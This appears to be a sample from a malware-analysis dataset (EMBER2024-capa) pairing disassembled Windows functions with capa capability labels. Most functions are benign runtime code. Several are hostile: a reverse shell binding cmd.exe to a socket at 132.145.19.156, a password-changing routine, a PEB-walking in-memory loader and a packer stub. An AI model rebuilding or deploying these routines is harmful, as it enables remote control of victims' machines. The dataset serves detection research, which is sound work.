joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140018df4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14003a2c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140018e4b
cmp word [rdx], r13w
jne 0x140018e4b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140018e50
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140018f75
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140018f96
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140018e89
mov rdx, r9
mov word [rbx], cx
jmp 0x140018eb0
cmp r9, r8
jae 0x140018ec0
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140018e6a
jmp 0x140018f75
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018f6a
cmp dword [rsp + 0x80], esi
je 0x140018f6a
lea r8, [0x14003a2c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140018f42
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140018f12
mov word [rbx], r13w
jmp 0x140018f72
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140018f1f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140018f72
cmp word [rsp + 0x70], r13w
jne 0x140018f4f
cmp rbx, r14
je 0x140018f0c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140019a5c
cmp word [rsp + 0x70], r13w
je 0x140018f75
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14003a2c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140018f6f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140018f75
Function at 0x14001da04
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001da34
xor eax, eax
jmp 0x14001daf7
mov rbp, rbx
cmp word [rax], si
je 0x14001da59
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001da40
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001da3c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001c004
movsxd r14, eax
test eax, eax
jne 0x14001da97
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001da2d
mov rcx, r14
call fcn.140019b00
mov rdi, rax
test rax, rax
jne 0x14001dab0
xor ecx, ecx
call fcn.140017538
jmp 0x14001da8c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001c004
test eax, eax
jne 0x14001dae1
mov rcx, rdi
call fcn.140017538
jmp 0x14001daeb
xor ecx, ecx
call fcn.140017538
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400209c0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001617c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140020a61
cmp ebx, dword [rsp + 0x30]
je 0x140020a5a
test esi, esi
je 0x140020a5a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140020a35
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140020a42
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140020a1f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140020a46
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140020a63
mov eax, 1
jmp 0x140020a63
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400233e4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f8c0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002346e
cmp byte [rbp - 0x21], r15b
je 0x140023469
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400234a4
call fcn.140017e64
test eax, eax
jne 0x140023490
cmp byte [rbp - 0x21], r15b
je 0x140023488
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400234a4
cmp byte [rbp - 0x21], r15b
je 0x1400234a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140011fb8
test eax, eax
jne 0x140023544
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f8c0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400234e3
cmp byte [rbp - 0x21], r15b
je 0x140023518
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140023518
call fcn.140017e64
test eax, eax
jne 0x140023504
cmp byte [rbp - 0x21], r15b
je 0x1400234fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140023518
cmp byte [rbp - 0x21], r15b
je 0x140023515
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140011fb8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140023544
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140023547
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140023555
mov rcx, rdi
call fcn.140017538
cmp byte [rbp + 0x3f], r15b
je 0x140023564
mov rcx, qword [rbp + 0x27]
call fcn.140017538
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140023bb0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140019a5c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140019a5c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140023d00
cmp rax, 0xffffffffffffffff
je 0x140023d00
xor edi, edi
test rbp, rbp
jle 0x140023cab
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140017b24
mov rbx, rax
test rax, rax
jne 0x140023c38
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140023ca1
mov edx, 0x8000
mov ecx, r14d
call fcn.140013240
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140017230
cmp eax, 0xffffffff
je 0x140023c81
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140023c48
mov edx, r15d
mov ecx, r14d
call fcn.140013240
jmp 0x140023ca1
cmp byte [rsi + 0x38], dil
je 0x140023c98
cmp dword [rsi + 0x34], 5
jne 0x140023c98
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140023ca1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140017538
jmp 0x140023d14
jns 0x140023d14
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140019a5c
cmp rax, 0xffffffffffffffff
jne 0x140023ccc
cmp byte [rsi + 0x30], dil
je 0x140023d14
mov edi, dword [rsi + 0x2c]
jmp 0x140023d14
mov ecx, r14d
call fcn.14001e46c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140023d14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140023d14
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140023d0d
mov eax, dword [rsi + 0x2c]
jmp 0x140023d12
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140019a5c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400011c0
Capabilities:
Get session user name
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor edi, edi
lea rdx, [0x1400034b0]
lea rcx, [rsp + 0x50]
call fcn.140001440
nop
mov dword [rsp + 0x70], 0x101
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1400013c2
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140001440
nop
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
jne 0x1400012a5
lea rdx, str.Password_successfully_changed_for_user:
call fcn.1400015f0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.1400017d0
jmp 0x1400012e9
lea rdx, str.Failed_to_change_password_for_user:
call fcn.1400015f0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.1400017d0
lea rdx, str.._Error_code:
mov rcx, rax
call fcn.1400015f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400033d0]
mov rcx, rax
call fcn.1400015f0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14000133e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001339
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a0c
movdqa xmm0, xmmword [0x1400034c0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], di
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140001396
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001391
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001391
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a0c
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
xor eax, eax
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400019b0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov ecx, 3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x496950
Capabilities:
Access peb ldr_data

Disassembly:
push r12
push r14
push r15
sub r12, r12
add r12, 0x60
mov r14, qword gs:[r12]
push r11
mov r11, qword [r14 + 0x10]
add r14, 0x18
mov r15, qword [r14]
mov r12, r15
add r12, 0x10
mov r14, qword [r12]
push rax
mov r12, qword [r14 + 0x30]
cmp r12, 0
je 0x4969aa
mov r15, qword [r14 + 0x60]
mov rax, qword [r15]
and eax, 0xdf00df
mov r15, qword [r15 + 0xb]
add r15d, eax
shr r15d, 2
sub r15d, 0xc914cd2
cmp r15, 0
je 0x4969b2
mov r14, qword [r14]
jmp 0x49697b
mov r14d, dword [r12 + 0x3c]
add r14, r12
add r14, 0x10
mov r15d, dword [r14 + 0x78]
add r15, r12
push r10
mov eax, dword [r15 + 0x20]
add rax, r12
mov r10d, dword [rax]
add r10, r12
mov r14d, dword [r10 + 0xb]
sub r14d, 0x746365
cmp r14d, 0
jne 0x4969e7
jmp 0x4969f5
inc rax
inc rax
inc rax
inc rax
jmp 0x4969ce
mov r14d, dword [r15 + 0x20]
sub rax, r14
sub rax, r12
shr eax, 1
mov r14d, dword [r15 + 0x24]
add r14, rax
add r14, r12
mov eax, dword [r14]
mov r14d, dword [r15 + 0x1c]
shl eax, 0x10
shr eax, 0xe
add r14, r12
add r14, rax
mov eax, dword [r14]
add rax, r12
mov r14d, 0x151000
add r14, r11
push r12
push r11
push r14
push r10
push r10
push rax
mov rcx, r14
mov r9, rsp
mov r8d, 0x40
mov edx, 0xb8000
call rax
pop r15
pop r10
pop r10
pop r14
pop r11
mov r12d, 0x745e
push rax
movabs r15, 0x3ae00
mov eax, 0x20
imul r12, rax
movabs rax, 0x5251
add rax, r11
add r12, rax
call fcn.00496aac
mov r12d, 0x129c11
movabs r14, 0x191000
add r12, r11
mov r15d, 0x3b30
add r14, r11
call fcn.00496aac
pop rax
jmp 0x496ad2
nop
ret
mov r12d, 0x8000000
mov r15d, 0x9e
movabs r14, 0x151000
mov eax, 0x19
imul r15d, eax
add r15d, 0x92
add r14, r11
sub r14, r15
mov r15, r14
sub r15, r12
mov r12d, 0x12e811
add r12, r11
mov eax, dword [r12]
xor eax, 0xcd38f307
dec eax
cmp eax, 0
je 0x496b2f
add rax, r14
mov r10, qword [rax]
add r10, r15
mov qword [rax], r10
add r12, 4
jmp 0x496b0d
sub rsp, 0x28
movabs r14, 0x134c
mov r12d, 0x5173
add r12, 0x16e8cd
add r12, r14
add r12, r11
push r12
dec r10
lea r15d, [eax]
jmp 0x496ad0
Function at 0x140148000
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14014800d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14014801d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140148005
lea eax, [rcx + 1]
jmp 0x14014802b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14014803e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140148024
sub eax, 3
jb 0x14014805e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401480ad
sar eax, 1
movsxd rbp, eax
jb 0x140148094
jmp 0x14014806c
add ebx, ebx
jne 0x14014806a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140148094
inc ecx
add ebx, ebx
jne 0x14014807a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140148094
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14014808d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14014807c
add ecx, 2
jmp 0x140148099
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140147fc2
jmp 0x14014800d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe8200
mov dl, 0x17
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401480fd
cmp rsi, rcx
jae 0x140148105
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401480e4
cmp al, 0x8f
ja 0x1401480e4
cmp byte [rsi - 2], 0xf
je 0x1401480ea
sub al, 0xe8
cmp al, 1
ja 0x1401480ce
cmp rsi, rcx
jae 0x140148105
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401480d4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140148105
lodsb al, byte [rsi]
jmp 0x1401480e4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x143000]
mov eax, dword [rdi]
or eax, eax
je 0x140148162
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x149d7c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140148112
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14014815c
mov qword [rbx], rax
add rbx, 8
jmp 0x140148132
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14014819c
cmp al, 0xef
ja 0x14014818e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14014816e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14014817d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1a7]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401481f0
sub rsp, 0xffffffffffffff80
jmp 0x1400baf04
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004450]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x1400043f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004440]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400043a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 0x1b
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
test al, al
je 0x1400014be
mov eax, 0
jmp 0x14000165e
lea rax, str.132.145.19.156
mov qword [rbp - 0x10], rax
mov word [rbp - 0x12], 0x1b39
lea rax, [0x140007040]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400071d8], rax
mov word [0x1400071e0], 2
movzx eax, word [rbp - 0x12]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400071e2], ax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400071e4], eax
mov rax, qword [0x1400071d8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400071e0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x140007200]
mov rcx, rax
call sym.memset
mov dword [0x140007200], 0x68
mov dword [0x14000723c], 0x100
mov rax, qword [0x1400071d8]
mov qword [0x140007260], rax
mov rax, qword [0x140007260]
mov qword [0x140007258], rax
mov rax, qword [0x140007258]
mov qword [0x140007250], rax
lea rax, str.cmd.exe
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
lea rdx, [0x140007270]
mov qword [rsp + 0x48], rdx
lea rdx, [0x140007200]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sym.exit
add rsp, 0x70
pop rbp
ret

Function at 0x140001990
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]